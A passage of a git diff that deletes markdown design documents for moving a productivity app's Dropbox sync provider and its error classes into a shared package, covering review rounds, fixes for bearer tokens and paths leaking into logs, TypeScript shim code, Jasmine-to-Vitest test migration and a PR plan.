`AdditionalLogErrorBase`. Going Option - A but with strong mitigations (A1–A3 fix the actual leaks Security - cared about). If the privacy test sweep in PR 5a uncovers a - catch-site leak that doesn't have an obvious fix, fall back to - Option B in that PR. - -## Round 2 review (2026-05-12) — additional findings - -Round 2 (three focused reviewers: correctness + security + simplicity) -validated most of round 1's revisions. Four blockers surfaced; all -addressed below before PR 5a starts. - -### B1 — Decision 7 body is stale (Correctness reviewer) - -The consensus header announces the factory-function form, but the -Decision 7 body section further down in the doc still shows -`class Dropbox extends PackageDropbox`. An implementer following the -body would re-introduce the type defect round 1 flagged. - -**Resolution (locks Decision 7):** the shim file at -`src/app/op-log/sync-providers/file-based/dropbox/dropbox.ts` exports -a factory function, not a subclass: - -```ts -import { - Dropbox as PackageDropbox, - type DropboxCfg, - type DropboxDeps, - type NativeHttpResponse, - PROVIDER_ID_DROPBOX, -} from '@sp/sync-providers'; -import { CapacitorHttp } from '@capacitor/core'; -import { SyncProviderId } from '../../provider.const'; -import { SyncCredentialStore } from '../../credential-store.service'; -import { OP_LOG_SYNC_LOGGER } from '../../../core/sync-logger.adapter'; -import { APP_PROVIDER_PLATFORM_INFO } from '../../platform/app-provider-platform-info'; -import { APP_WEB_FETCH } from '../../platform/app-web-fetch'; - -// Type-level bridge — fails to compile if the package's string-const -// drifts from the app's enum. -const _idCheck: SyncProviderId.Dropbox = PROVIDER_ID_DROPBOX; -void _idCheck; - -export type { DropboxCfg, DropboxPrivateCfg } from '@sp/sync-providers'; - -export const createDropboxProvider = (cfg: DropboxCfg): PackageDropbox => { - const deps: DropboxDeps = { - logger: OP_LOG_SYNC_LOGGER, - platformInfo: APP_PROVIDER_PLATFORM_INFO, - webFetch: APP_WEB_FETCH, - credentialStore: new SyncCredentialStore( - SyncProviderId.Dropbox, - ) as unknown as DropboxDeps['credentialStore'], - nativeHttpExecutor: (cfg) => - CapacitorHttp.request(cfg) as unknown as Promise, - }; - return new PackageDropbox(cfg, deps); -}; -``` - -Factory.ts changes: - -```ts -const [{ createDropboxProvider }, ...] = await Promise.all([ - import('./file-based/dropbox/dropbox'), - // … -]); -const providers: SyncProviderBase[] = [ - createDropboxProvider({ - appKey: DROPBOX_APP_KEY, - basePath: environment.production ? `/` : `/DEV/`, - }) as SyncProviderBase, - // … -]; -``` - -Casts: the `credentialStore` cast remains because the package's port -is generic over `` while the app's -`SyncCredentialStore` is generic over the enum. The outer -`as SyncProviderBase` cast already exists at -`sync-providers.factory.ts:47`. **The doc oversold "drops casts" in -round 1; the win is "drops the shim class," which is still net -positive.** - -The body section "Decision 7 — App-side shim layout" further down has -been superseded by this resolution; treat the round-1 sketch as -historical context only. - -### B2 — A2 (HttpNotOkAPIError.message) has a downstream UX impact - -`src/app/util/get-error-text.ts:25` reads `e.message` to feed toasts -and the global error handler. Stripping the body excerpt off `.message` -shortens user-visible error text from `HTTP 503 Service Unavailable - -` to `HTTP 503 Service Unavailable`. - -**Resolution:** keep `.message` brief (`HTTP `), -store the body excerpt on a new `.detail?: string` field, and **update -`getErrorTxt`** in the same PR (5a) to append `.detail` after -`.message` when present: - -```ts -// add to getErrorTxt before the existing message branch -if (typeof errAny.message === 'string' && errAny.message) { - const detail = typeof errAny.detail === 'string' ? errAny.detail : null; - return detail ? `${errAny.message} - ${detail}` : errAny.message; -} -``` - -End-user UX is preserved; only internal log paths that use the -`SyncLogger` (privacy-aware) see the leaner `.message`. - -### B3 — Security found three additional leak paths - -Critical (must fix in PR 5a / PR 5b): - -- **B3.1 (CRITICAL — bearer token in logs).** - `dropbox-api.ts:757` constructs - `new TooManyRequestsAPIError({ response, headers, responseData })`, - and `headers` is the `requestHeaders` object built at line 544 — - literally `{ Authorization: \`Bearer ${token}\`, ...headers }`. The -raw bearer token lands in `error.additionalLog`and flows through -every catch-site log. **PR 5b fix:** narrow to`new TooManyRequestsAPIError({ status: response.status, retryAfter, path })`— drop`headers`entirely, drop the raw`responseData`. Plus a -Vitest assertion in `errors.spec.ts`that`JSON.stringify(new TooManyRequestsAPIError(...))`never contains`'Bearer'`. - -- **B3.2 (basePath leak via error `path` argument).** - `dropbox-api.ts:590` and `:716` set - `path = JSON.parse(headers['Dropbox-API-Arg']).path`, which is the - joined `basePath + targetPath` (basePath is user-configured, e.g. - `/Apps/super-productivity/`). Then `path` is threaded into - `AuthFailSPError`, `RemoteFileNotFoundAPIError`, - `UploadRevToMatchMismatchAPIError`. **PR 5b fix:** strip `basePath` - prefix before constructing the error, or pass only `targetPath` at - the public-API layer. - -- **B3.3 (raw response data in AuthFailSPError).** - `dropbox-api.ts:777-779` — - `throw new AuthFailSPError('Dropbox token expired or invalid', '', responseData);` - passes raw Dropbox JSON. Usually safe (`error_summary` is opaque), - but on edge cases can include account hints. **PR 5b fix:** drop - `responseData` from the constructor call; rely on the catch-site - `toSyncLogError(e)` summary. - -These three additions land in **PR 5b** (Dropbox-impl PR), not 5a, -since they touch the Dropbox provider code rather than the error -classes. PR 5a updates the error class signatures to **accept** narrower -inputs (e.g. `TooManyRequestsAPIError` takes -`{ status, retryAfter?, path? }` — typed), so PR 5b's call-site -changes are mechanical follow-ups. - -### B4 — A4 (tryCatchInlineAsync) ambiguity - -Round 2 flagged the "OR" in A4's resolution. Locking it now: - -**Default:** replace `tryCatchInlineAsync(() => response.json(), response)` -at `dropbox-api.ts:251` with -`await response.json().catch(() => ({} as DropboxFileMetadata))`. -The wrapper's swallow semantics are preserved without the indirection. -A follow-up commit (not blocking) can prove the 429 comment stale via -investigation and remove the fallback entirely. - -This also removes the last consumer of `tryCatchInlineAsync` outside -the package — meaning the util **does not need to move into the -package at all**. Drop Decision 4 / util move; just delete the -app-side `try-catch-inline.ts` (sync version unused, async version -inlined above). - -**Updated Decision 4:** move only `DropboxFileMetadata`. Delete -`src/app/util/try-catch-inline.ts` in PR 5b. - -### B5 — A5.3 (identity test) location - -Round 2 noted the identity test imports from both `src/app/...` and -`@sp/sync-providers`, so it cannot live in -`packages/sync-providers/tests/`. **Resolution:** the spec lives -app-side as -`src/app/op-log/core/errors/sync-errors.identity.spec.ts` (Karma) and -runs against the path-aliased package source. This is consistent with -A5.2 — package tests import from `../src`; app tests are free to -import from `@sp/sync-providers`. - -### Round 2 — final verdict - -With B1–B5 incorporated, the design is **ready for implementation**. - ---- - -### Revised PR plan - -**PR 5a — Provider error classes (errors only).** - -- Move 12 error classes into `packages/sync-providers/src/errors/`. -- App-side `sync-errors.ts` becomes a re-export shim. -- Add `"sideEffects": false` to package.json. -- New Vitest privacy tests in `packages/sync-providers/tests/errors.spec.ts`. -- New integration spec asserting single class identity (A5.3). -- Adjust `HttpNotOkAPIError.message` to drop body excerpt (A2). -- Verification: full `npm test` green. - -**PR 5b — Dropbox provider proper.** - -- Platform-info + web-fetch-factory ports. -- `tryCatchInlineAsync` + `DropboxFileMetadata` move/delete. -- Dropbox + DropboxApi move with full logger audit (A1, A3, A4). -- Factory-function shim (Decision 7 revised). -- Jasmine → Vitest spec migration with the Decision 8 fixes. -- Un-skip native-platform tests. -- Verification: full `npm test` + manual Dropbox round-trip. - -PR 5a unblocks the WebDAV / Nextcloud slice to start in parallel, since -WebDAV consumes the same error classes. - ---- - -## Scope summary - -In: - -- Provider error classes (12 total, listed below) → package, with an - app-side re-export shim so existing `catch (e) { if (e instanceof -…Error) … }` call sites stay unchanged. -- New ports: `ProviderPlatformInfo`, `WebFetchProvider`. -- Mini-utils: `tryCatchInlineAsync`, `DropboxFileMetadata` shape. -- Dropbox provider files: `dropbox.ts`, `dropbox-api.ts`, three specs - (Jasmine → Vitest). -- App-side shim under `src/app/op-log/sync-providers/file-based/dropbox/` - that re-exports the package's Dropbox class wired with the app's - logger / platform-info / web-fetch / credential-store / native HTTP - executor instances. - -Out (next slices): - -- WebDAV / Nextcloud — slice 2. Will reuse the platform-info / web-fetch - ports and the moved error classes. -- SuperSync — slice 3. -- LocalFile (Electron + Android SAF bridges) — slice 4. -- `provider-manager.service.ts`, `sync-providers.factory.ts`, - `wrapped-provider.service.ts` — stay app-side. They consume the moved - Dropbox class via the shim. - ---- - -## Decision 1 — `AdditionalLogErrorBase` constructor-time logging - -This is the single biggest design decision and the one that determines -the shape of every error file in the package. - -**Today (app).** `AdditionalLogErrorBase` in -`src/app/op-log/core/errors/sync-errors.ts:100` calls -`OP_LOG_SYNC_LOGGER.log(${errorName} additional error metadata…, {…})` -from its constructor, capturing a privacy-safe summary of the -additional args (key names only, no values). The `additionalLog` field -itself stores the raw input — callers must never log it directly. - -**Constraint discovered.** `src/app/op-log/core/errors/sync-errors.spec.ts:18` -is an explicit privacy regression test that asserts (a) the log -contains the error name and key names; (b) the log does **not** contain -user values. The test exercises `InvalidDataSPError` directly. If the -moved error class no longer logs, this test must change. - -### Options - -**A. Drop constructor-time logging.** - -- Package-side `AdditionalLogErrorBase` just stores `additionalLog`. No - logger dependency. -- Existing `sync-errors.spec.ts:18` rewritten (or split): the moved - errors keep a Vitest equivalent that asserts the constructor has no - log side effect; the un-moved app errors keep their Jasmine - assertion. -- Catch-site logging in `dropbox.ts` / `dropbox-api.ts` already - captures the error metadata via injected `SyncLogger`, so we don't - lose forensic information for the provider — only for the few - call sites that _don't_ log at the catch (audit needed; the API - layer logs `SyncLog.critical(…, e)` everywhere relevant). -- Privacy guarantee becomes: **"no log = no leak."** Stronger than - "log only safe keys," but harder to verify in a test because there's - nothing to assert against. - -Trade-offs: smallest package surface, no global state, alignment with -"package has no module-level mutable state." Loses one defense-in-depth -test. Slight risk of losing breadcrumbs for any non-catch-site error -construction (very rare in provider code; verifiable via grep). - -**B. Package exposes `setProviderErrorLogger(logger)` setter.** - -- Module-level `let _logger: SyncLogger = NOOP_SYNC_LOGGER` plus - `setProviderErrorLogger(l)`. App calls it once at boot. -- Behavior preserved exactly: existing privacy test passes unchanged, - new Vitest privacy tests in the package can use a mock logger. -- Trade-off: one mutable module-level binding. The package - consciously avoided this for `sync-core` ports — but - `SyncLogger` is a documented privacy-aware port, set-once at boot - is a known pattern, and the alternative (Option A) deletes a passing - privacy assertion. - -**C. Pass logger to each error constructor.** - -- `throw new AuthFailSPError(logger, 'Dropbox 401', targetPath)`. -- Verbose at every throw site (>30 in dropbox-api.ts alone). -- Rejected: the verbosity tax doesn't buy clarity over A or B. - -### Recommendation - -**Option A** with one mitigation: keep the privacy guarantee by -preserving the test, but rewrite it to assert the **absence** of any -log call on construction. The current test verifies a positive -behavior; the rewritten test verifies a negative one. This is a strict -privacy improvement (no log can't leak by definition) and avoids -introducing module-level mutable state in the package. - -The handover doc also recommends A. Multi-review should challenge this -recommendation against Option B; if a reviewer finds a real reason the -breadcrumb matters (e.g. an incident where it was load-bearing for -RCA), fall back to B. - -**Open question for reviewers.** Is there a case where the -constructor-time breadcrumb captured information that the catch-site -log wouldn't? Specifically: are any of the 12 moved errors thrown from -a location that doesn't have a catch-and-log nearby? - ---- - -## Decision 2 — Error classes to move - -Move to `packages/sync-providers/src/errors/`: - -| Error | Used by (besides Dropbox) | -| ---------------------------------- | --------------------------------------------------------------------------- | -| `AuthFailSPError` | WebDAV, SuperSync, file-based sync adapter, sync-wrapper | -| `InvalidDataSPError` | WebDAV, SuperSync, file-based adapter, sync-wrapper, op-log-download | -| `EmptyRemoteBodySPError` | WebDAV | -| `RemoteFileNotFoundAPIError` | WebDAV, SuperSync, file-based adapter, LocalFile, sync-wrapper, op-log-sync | -| `NoRevAPIError` | WebDAV, LocalFile | -| `HttpNotOkAPIError` | WebDAV | -| `MissingCredentialsSPError` | WebDAV, SuperSync | -| `MissingRefreshTokenAPIError` | (Dropbox only today; future Nextcloud OAuth) | -| `TooManyRequestsAPIError` | WebDAV | -| `UploadRevToMatchMismatchAPIError` | WebDAV, sync-wrapper, op-log-upload | -| `PotentialCorsError` | WebDAV | -| `RemoteFileChangedUnexpectedly` | WebDAV | - -All extend `AdditionalLogErrorBase` (package-side under Option A) except -`MissingCredentialsSPError` and `MissingRefreshTokenAPIError`, which -extend plain `Error`. - -`HttpNotOkAPIError` keeps its `_extractErrorFromBody` private method — -pure string parsing, no app dependencies, already privacy-safe (caps -body length to 300 chars, only matches XML/JSON error fields). - -**Stays app-side:** the remaining ~18 errors in `sync-errors.ts` that -are app-only (`ImpossibleError`, `LocalDataConflictError`, -`SyncAlreadyInProgressError`, `LockAcquisitionTimeoutError`, -`InvalidFilePrefixError`, `JsonParseError`, -`StorageQuotaExceededError`, `LegacySyncFormatDetectedError`, all the -model/validation/compression/decompression errors, etc.). - -App-side `sync-errors.ts` becomes a barrel that re-exports the moved -classes: - -```ts -export { - AuthFailSPError, - InvalidDataSPError, - EmptyRemoteBodySPError, - RemoteFileNotFoundAPIError, - NoRevAPIError, - HttpNotOkAPIError, - MissingCredentialsSPError, - MissingRefreshTokenAPIError, - TooManyRequestsAPIError, - UploadRevToMatchMismatchAPIError, - PotentialCorsError, - RemoteFileChangedUnexpectedly, -} from '@sp/sync-providers'; -``` - -Critical invariant: **one class definition per error.** App and package -must resolve `e instanceof AuthFailSPError` to the same constructor. -The re-export pattern guarantees this; a redefinition would silently -break `instanceof` checks across `imex/sync/`, `sync-wrapper.service`, -and the WebDAV provider (untouched in this slice). - ---- - -## Decision 3 — New platform / fetch ports - -Two small ports, both in `packages/sync-providers/src/platform/`: - -```ts -// provider-platform-info.ts -export interface ProviderPlatformInfo { - readonly isNativePlatform: boolean; - readonly isIosNative: boolean; -} -``` - -```ts -// web-fetch-provider.ts -// -// CapacitorWebFetch is Capacitor's original unpatched fetch, stored -// before the CapacitorHttp plugin patches window.fetch. Used by Dropbox -// on iOS to bypass URLSession.shared (-1005 errors). -export type WebFetch = typeof fetch; -export interface WebFetchProvider { - getFetch(): WebFetch; -} -``` - -**Why an interface for `WebFetchProvider` instead of `WebFetch` -directly?** The fetch we need is read off `globalThis` at call time, not -at module load — Capacitor's `native-bridge.js` patches `window.fetch` -asynchronously during boot. The provider indirection lets the app -resolve lazily. - -Why `readonly` fields on `ProviderPlatformInfo` and not a method? The -values are constants for the process lifetime — `IS_NATIVE_PLATFORM` -and `IS_IOS_NATIVE` are module-load-time evaluated. No need for a -function. - -App-side concrete implementations in -`src/app/op-log/sync-providers/platform/` (new directory): - -```ts -// app-provider-platform-info.ts -import { IS_NATIVE_PLATFORM, IS_IOS_NATIVE } from '../../../util/is-native-platform'; -import type { ProviderPlatformInfo } from '@sp/sync-providers'; - -export const APP_PROVIDER_PLATFORM_INFO: ProviderPlatformInfo = { - isNativePlatform: IS_NATIVE_PLATFORM, - isIosNative: IS_IOS_NATIVE, -}; -``` - -```ts -// app-web-fetch-provider.ts -import type { WebFetch, WebFetchProvider } from '@sp/sync-providers'; - -export const APP_WEB_FETCH_PROVIDER: WebFetchProvider = { - getFetch: () => - ((globalThis as Record).CapacitorWebFetch as WebFetch) ?? fetch, -}; -``` - -Both exported from the package barrel. - -**Open question for reviewers.** `IS_NATIVE_PLATFORM` includes -`IS_ANDROID_WEB_VIEW` (the SUPAndroid WebView flag). Is that semantics -the package wants to preserve, or is "native" strictly Capacitor? The -existing Dropbox code uses `Capacitor.isNativePlatform() || -IS_ANDROID_WEB_VIEW` for `isNativePlatform`. The port preserves the -existing semantics; clean separation would be a future cleanup. - ---- - -## Decision 4 — `tryCatchInlineAsync` and `DropboxFileMetadata` - -`tryCatchInlineAsync` — used only by `dropbox-api.ts:251` (audited). -Move to `packages/sync-providers/src/util/try-catch-inline.ts`. Delete -the app-side file once the move is complete (the sync `tryCatchInline` -in the same file is unused — confirmed via grep across `src/`). YAGNI: -package gets only the async version. - -`DropboxFileMetadata` — currently lives in -`src/app/imex/sync/dropbox/dropbox.model.ts` (102 lines, pure type -definitions). Approach: **duplicate** into -`packages/sync-providers/src/file-based/dropbox/dropbox.model.ts`. The -legacy `imex/sync/dropbox/` directory still exists for transitional -code that hasn't been deleted yet; duplicating avoids a cross-package -edge that would otherwise require leaving the app-side file as a -re-export shim. Same approach the project took for `FILE_BASED_SYNC_CONSTANTS` -duplication in slice 2. - -**Open question.** Is the `imex/sync/dropbox/` directory scheduled for -deletion? If yes, prefer move-not-duplicate to avoid drift. Audit: -grep `imex/sync/dropbox/dropbox.model` consumers. - ---- - -## Decision 5 — `DropboxDeps` shape and constructor - -Today, `Dropbox` constructs its own `DropboxApi`, its own -`SyncCredentialStore`, and reads -`Capacitor.isNativePlatform()`/`IS_IOS_NATIVE`/`CapacitorWebFetch`/`CapacitorHttp` -directly. Inside the package, all of those become injected deps. - -```ts -// packages/sync-providers/src/file-based/dropbox/dropbox.ts -import type { SyncLogger } from '@sp/sync-core'; -import type { - SyncCredentialStorePort, - ProviderPlatformInfo, - WebFetchProvider, - NativeHttpExecutor, - FileSyncProvider, -} from '@sp/sync-providers'; - -export const PROVIDER_ID_DROPBOX = 'Dropbox' as const; - -export interface DropboxCfg { - appKey: string; - basePath: string; -} - -export interface DropboxPrivateCfg { - accessToken: string; - refreshToken: string; - encryptKey?: string; - // …whatever SyncProviderPrivateCfgBase declares -} - -export interface DropboxDeps { - logger: SyncLogger; - platformInfo: ProviderPlatformInfo; - webFetchProvider: WebFetchProvider; - credentialStore: SyncCredentialStorePort; - nativeHttpExecutor: NativeHttpExecutor; -} - -export class Dropbox implements FileSyncProvider< - typeof PROVIDER_ID_DROPBOX, - DropboxPrivateCfg -> { - readonly id = PROVIDER_ID_DROPBOX; - readonly isUploadForcePossible = true; - readonly maxConcurrentRequests = 4; - readonly privateCfg: SyncCredentialStorePort< - typeof PROVIDER_ID_DROPBOX, - DropboxPrivateCfg - >; - - private readonly _api: DropboxApi; - // … - - constructor( - cfg: DropboxCfg, - private readonly _deps: DropboxDeps, - ) { - if (!cfg.appKey) throw new Error('Missing appKey for Dropbox'); - this._appKey = cfg.appKey; - this._basePath = cfg.basePath || '/'; - this.privateCfg = _deps.credentialStore; - this._api = new DropboxApi(this._appKey, this, _deps); - } -} -``` - -`DropboxApi` receives the same `_deps` object (or a narrower subset — -it needs `logger`, `platformInfo`, `webFetchProvider`, -`nativeHttpExecutor`, and access to the parent's -`privateCfg`). Pass the whole `DropboxDeps` for simplicity; the -internal contract isn't part of the public surface. - -**SyncLog → injected logger.** Every `SyncLog.critical(...)` / -`SyncLog.normal(...)` / `SyncLog.log(...)` call in `dropbox.ts` and -`dropbox-api.ts` becomes `this._deps.logger.critical(...)` (etc.). - -**Logger audit** — every existing call must be checked for -`SyncLogMeta` compliance (primitives only, never raw entities or full -URLs with auth). Known offenders to scrub during the port: - -- `SyncLog.critical(\`${DropboxApi.L}.download() error for path: ${path}\`, e)`—`e`is the raw error. Replace with`this.\_deps.logger.critical('DropboxApi.download error', { path, ...toSyncLogError(e) })`. -- `SyncLog.critical(\`${DropboxApi.L}.listFiles() error for path: ${path}\`, e)`— same pattern, multiple sites in`dropbox-api.ts`. -- `SyncLog.normal('Dropbox: Refresh access token Response', { hasAccessToken, hasRefreshToken, expiresIn })` - — already safe (just booleans + number). -- `SyncLog.log(\`${DropboxApi.L}.\_requestNative() ${method} ${requestUrl}\`)`—`requestUrl`may include auth-sensitive query params. Audit: -current usage shows URLs are Dropbox API endpoints with no auth in -query; bearer token is in`Authorization`header. Safe today, but -prefer logging`{ method, urlHost: new URL(requestUrl).host, urlPath: new URL(requestUrl).pathname }` - to be defensive. - -This is privacy-sensitive work. Reviewers should flag any log call I -missed that could leak user data. - ---- - -## Decision 6 — `NativeHttpExecutor` integration - -`dropbox-api.ts:823` currently has its own `_executeNativeRequestWithRetry` -wrapper around the app-side `executeNativeRequestWithRetry`. Inside the -package, the provider calls `executeNativeRequestWithRetry` from -`@sp/sync-providers` (already moved in slice 4) and passes -`this._deps.nativeHttpExecutor` as the executor: - -```ts -const response = await executeNativeRequestWithRetry( - { url, method, headers, data, readTimeout: NATIVE_REQUEST_READ_TIMEOUT }, - { - executor: this._deps.nativeHttpExecutor, - logger: this._deps.logger, - label: 'DropboxApi', - }, -); -``` - -**Special case — `getTokensFromAuthCode`.** Today calls -`CapacitorHttp.request(...)` directly (no retry wrapper) because it's -a one-time user-initiated auth exchange. Preserve that behavior by -calling `this._deps.nativeHttpExecutor(...)` directly, not via -`executeNativeRequestWithRetry`. Document the choice in a one-line -comment at the call site (see CLAUDE.md "WHY not WHAT" rule). - -App-side, the `nativeHttpExecutor` is constructed as -`(cfg) => CapacitorHttp.request(cfg)` plus a cast (the existing -`src/app/op-log/sync-providers/native-http-retry.ts:24-29` shim already -demonstrates this). - ---- - -## Decision 7 — App-side shim layout - -`src/app/op-log/sync-providers/file-based/dropbox/dropbox.ts`: - -```ts -import { - Dropbox as PackageDropbox, - type DropboxCfg, - type DropboxDeps, -} from '@sp/sync-providers'; -import { CapacitorHttp } from '@capacitor/core'; -import { SyncProviderId } from '../../provider.const'; -import { SyncCredentialStore } from '../../credential-store.service'; -import { OP_LOG_SYNC_LOGGER } from '../../../core/sync-logger.adapter'; -import { APP_PROVIDER_PLATFORM_INFO } from '../../platform/app-provider-platform-info'; -import { APP_WEB_FETCH_PROVIDER } from '../../platform/app-web-fetch-provider'; - -export type { DropboxCfg, DropboxPrivateCfg } from '@sp/sync-providers'; - -export class Dropbox extends PackageDropbox { - constructor(cfg: DropboxCfg) { - const deps: DropboxDeps = { - logger: OP_LOG_SYNC_LOGGER, - platformInfo: APP_PROVIDER_PLATFORM_INFO, - webFetchProvider: APP_WEB_FETCH_PROVIDER, - credentialStore: new SyncCredentialStore( - SyncProviderId.Dropbox, - ) as unknown as DropboxDeps['credentialStore'], - nativeHttpExecutor: (cfg) => - CapacitorHttp.request(cfg) as unknown as Promise< - import('@sp/sync-providers').NativeHttpResponse - >, - }; - super(cfg, deps); - } -} -``` - -The `as unknown as` cast on `credentialStore` is because the app's -`SyncCredentialStore` uses the enum-keyed -`PrivateCfgByProviderId` map, while the package's -`SyncCredentialStorePort` is plain-string keyed. -The types are structurally compatible at runtime; the cast bridges the -nominal mismatch. Same pattern is already used in -`sync-providers.factory.ts:47` for `SyncProviderBase`. - -**Factory unchanged.** `sync-providers.factory.ts:37` still -`import('./file-based/dropbox/dropbox')` and constructs `new Dropbox(cfg)`. -The shim makes the constructor signature identical. - -`generate-pkce-codes.ts` shim stays as today -(`export { generatePKCECodes } from '@sp/sync-providers';`). - ---- - -## Decision 8 — Spec migration (Jasmine → Vitest) - -Three specs move: - -| Source (Jasmine) | Target (Vitest) | -| ---------------------------------------------------------------------------------- | ---------------------------------------------------------------------- | -| `src/app/op-log/sync-providers/file-based/dropbox/dropbox-api.spec.ts` (876 lines) | `packages/sync-providers/tests/file-based/dropbox/dropbox-api.spec.ts` | -| `dropbox-auth-helper.spec.ts` (100 lines) | same path | -| `generate-pkce-codes.spec.ts` (74 lines) | (move) or fold into existing `tests/pkce.spec.ts` | - -### Migration patterns - -`jasmine.createSpyObj` → `vi.fn<...>()` + manual mock object. - -```ts -// Before (Jasmine) -mockPrivateCfgStore = jasmine.createSpyObj('SyncCredentialStore', [ - 'load', - 'updatePartial', -]); - -// After (Vitest) -mockPrivateCfgStore = { - load: vi.fn(), - updatePartial: vi.fn(), - setComplete: vi.fn(), - // …all methods of SyncCredentialStorePort -}; -``` - -`spyOn(api, 'getTokensFromAuthCode').and.resolveTo(...)` → -`vi.spyOn(api, 'getTokensFromAuthCode').mockResolvedValue(...)`. - -`await expectAsync(p).toBeRejectedWith(err)` → -`await expect(p).rejects.toBe(err)` or `.rejects.toThrow(...)`. - -`fetchSpy.calls.mostRecent().args[0]` → -`fetchSpy.mock.calls[fetchSpy.mock.calls.length - 1][0]`. - -`(globalThis as any).fetch = fetchSpy` — Vitest doesn't have an -ambient `fetch` mock; injecting via `WebFetchProvider` mock is cleaner -and the right thing to do here (the whole point of the port is -testability): - -```ts -const fetchSpy = vi.fn(); -const webFetchProvider: WebFetchProvider = { getFetch: () => fetchSpy }; -``` - -### Skipped tests - -`dropbox-api.spec.ts:574` has 12 skipped tests (`xdescribe`) for native -platform routing. The skip reason was "CapacitorHttp.request cannot be -properly mocked in Jasmine — Capacitor does internal processing before -the spy can intercept." That constraint disappears with the port: the -package mocks the injected `NativeHttpExecutor` directly. **Un-skip -during the port** and verify they pass; this is a net coverage win. - -### `dropbox-auth-helper.spec.ts:3` - -Currently imports `pkceUtil` from `'../../../../util/pkce.util'`. -Switch to `'@sp/sync-providers'` while moving the file (one-line -change, the symbol is already re-exported). - -The "does not poison the cache when PKCE generation rejects" test -mutates `globalThis.crypto.subtle` via `Object.defineProperty`. In -vitest's `happy-dom`/`jsdom` env that pattern works the same way; -verify by running the spec. If the environment doesn't allow the -defineProperty, fall back to stubbing `generatePKCECodes` via -`vi.mock('@sp/sync-providers', …)` — but the original behavior is the -preferred test because it exercises the real PKCE generator's error -path. - ---- - -## Decision 9 — Constants and minor details - -`PROVIDER_ID_DROPBOX = 'Dropbox' as const` lives in the package's -`dropbox.ts`. The shim doesn't re-export it. App code uses -`SyncProviderId.Dropbox` (string-equal at runtime, type-distinct at -compile time). - -The OAuth and Dropbox API URL constants -(`DROPBOX_AUTH_URL`, `DROPBOX_OAUTH_TOKEN_URL`, `PATH_NOT_FOUND_ERROR`, -`EXPIRED_TOKEN_ERROR`, `INVALID_TOKEN_ERROR`) stay private to the -package — they're internal to the Dropbox files. - -`DROPBOX_APP_KEY` (in `src/app/imex/sync/dropbox/dropbox.const.ts`) -stays app-side. It's passed via `cfg.appKey` from the factory; the -package doesn't need to know app-specific keys. - ---- - -## Lint / boundary check - -Confirmed against `eslint.config.js:168-225` rules for -`packages/sync-providers/**`: - -- ✗ Forbidden imports: `@angular/*`, `@ngrx/*`, `src/app/**`, - `@sp/shared-schema`, `@sp/sync-core/*` (subpath), dynamic imports. -- ✓ Allowed: `@sp/sync-core` (root only), `hash-wasm`, vitest in tests. - -Files moved must NOT import `@capacitor/core`, `SyncProviderId`, -`provider.const.ts`, `Log` / `SyncLog`, `IS_ANDROID_WEB_VIEW`, -`IS_IOS_NATIVE`, or anything from `src/app/`. - ---- - -## Suggested commit shape - -Four commits, matching the slice-4 shape: - -1. `refactor(sync-providers): move provider error classes` - - New `packages/sync-providers/src/errors/` - - New `packages/sync-providers/tests/errors.spec.ts` (privacy assertions) - - Re-export shim in `src/app/op-log/core/errors/sync-errors.ts` - - **Verification gate:** full `npm test` must stay green. This commit - is the biggest risk because the moved classes are caught across - many call sites. If a spec breaks, it's almost certainly an - `instanceof` resolving against the wrong constructor (lint will - surface duplicate imports). -2. `refactor(sync-providers): add platform info and web fetch ports` - - New `packages/sync-providers/src/platform/` - - New `src/app/op-log/sync-providers/platform/` - - Package barrel exports updated. -3. `refactor(sync-providers): move dropbox utilities` - - `tryCatchInlineAsync` and `DropboxFileMetadata` move. - - App-side `try-catch-inline.ts` deleted (unused after import switch). -4. `refactor(sync-providers): move dropbox provider` - - `dropbox.ts`, `dropbox-api.ts`, three specs converted to Vitest. - - App-side shim wired through factory. - - Skipped native-platform tests un-skipped. - -**Fallback plan.** If commit 1 proves disruptive, ship it as its own PR -("move provider error classes only") and verify nothing regresses -before the Dropbox-impl PR. Each downstream slice (WebDAV, SuperSync, -LocalFile) benefits from the error move regardless of Dropbox. - ---- - -## Verification checklist - -After each commit: - -- `npm run checkFile ` on every modified `.ts`. -- `cd packages/sync-providers && npm test` — Vitest stays green. -- `npm test` from root — every consumer of moved errors still works. -- `npm run lint` — boundary rules hold. -- `npm run sync-providers:build` — tsup emits ESM + CJS + DTS clean. - -After the final commit: - -- `npm run test:file src/app/op-log/sync-providers/sync-providers.factory.spec.ts` - and any related shim specs. -- Manual Dropbox sync round-trip in a dev build. Unit tests are the - primary gate, but OAuth refresh + upload-with-revToMatch is hard to - fully cover at unit level — exercise both at least once before - merge. - ---- - -## Open questions for multi-review - -1. **Option A vs B for `AdditionalLogErrorBase`.** Does any reviewer - find a case where dropping constructor-time logging measurably - weakens diagnostics? -2. **`DropboxFileMetadata` move vs duplicate.** Should I delete the - app-side `imex/sync/dropbox/dropbox.model.ts` or keep it as a - transitional alias? (See Decision 4.) -3. **`isNativePlatform` semantics.** The port preserves - `Capacitor.isNativePlatform() || IS_ANDROID_WEB_VIEW`. Worth - splitting `isNativePlatform` from `isAndroidWebView` in the port, - or keep coupled for now and clean up post-PR-5? -4. **Logger audit scope.** I've listed three log-call patterns to - scrub in `dropbox-api.ts`. Are there other privacy patterns the - reviewer wants enforced (e.g. stripping query strings from logged - URLs, hashing path components)? -5. **`DropboxDeps` granularity.** I'm passing the whole deps object - to `DropboxApi`. Alternative: extract a `DropboxApiDeps` interface - with only the fields `DropboxApi` uses. More surface but cleaner - coupling. Worth it for a class only the Dropbox class instantiates? -6. **Should `getTokensFromAuthCode`'s "no retry" comment be expanded - into a doc/type-level signal?** It's a deliberate behavioral - asymmetry that's easy to break by accident. - ---- - -## Risk and time estimate - -**Risk:** High. Largest PR-5 slice by surface area. Error move alone -touches `imex/sync/`, file-based sync adapter, WebDAV adapter (caught -errors, not moved provider code), and many specs. - -**Time estimate:** - -- Errors move cleanly: ~4–6 hours focused work. -- Error move triggers spec churn (e.g. construction-time logging - assertions): +2–4 hours. -- Multi-review feedback cycle: +1–2 hours to incorporate. - -Total expected: **1–1.5 working days** including review. diff --git a/docs/plans/2026-05-12-pr5-webdav-slice.md b/docs/plans/2026-05-12-pr5-webdav-slice.md deleted file mode 100644 index 9597b99257..0000000000 --- a/docs/plans/2026-05-12-pr5-webdav-slice.md +++ /dev/null @@ -1,578 +0,0 @@ -# PR 5 — WebDAV + Nextcloud Slice (design doc) - -> For Claude executing this: this is a **design doc for multi-review**, not a -> step-by-step implementation plan. Once the design choices below are -> ratified, rewrite as a TDD plan or execute in commits per the "Suggested -> commit shape" section. - -**Goal.** Move the WebDAV + Nextcloud providers 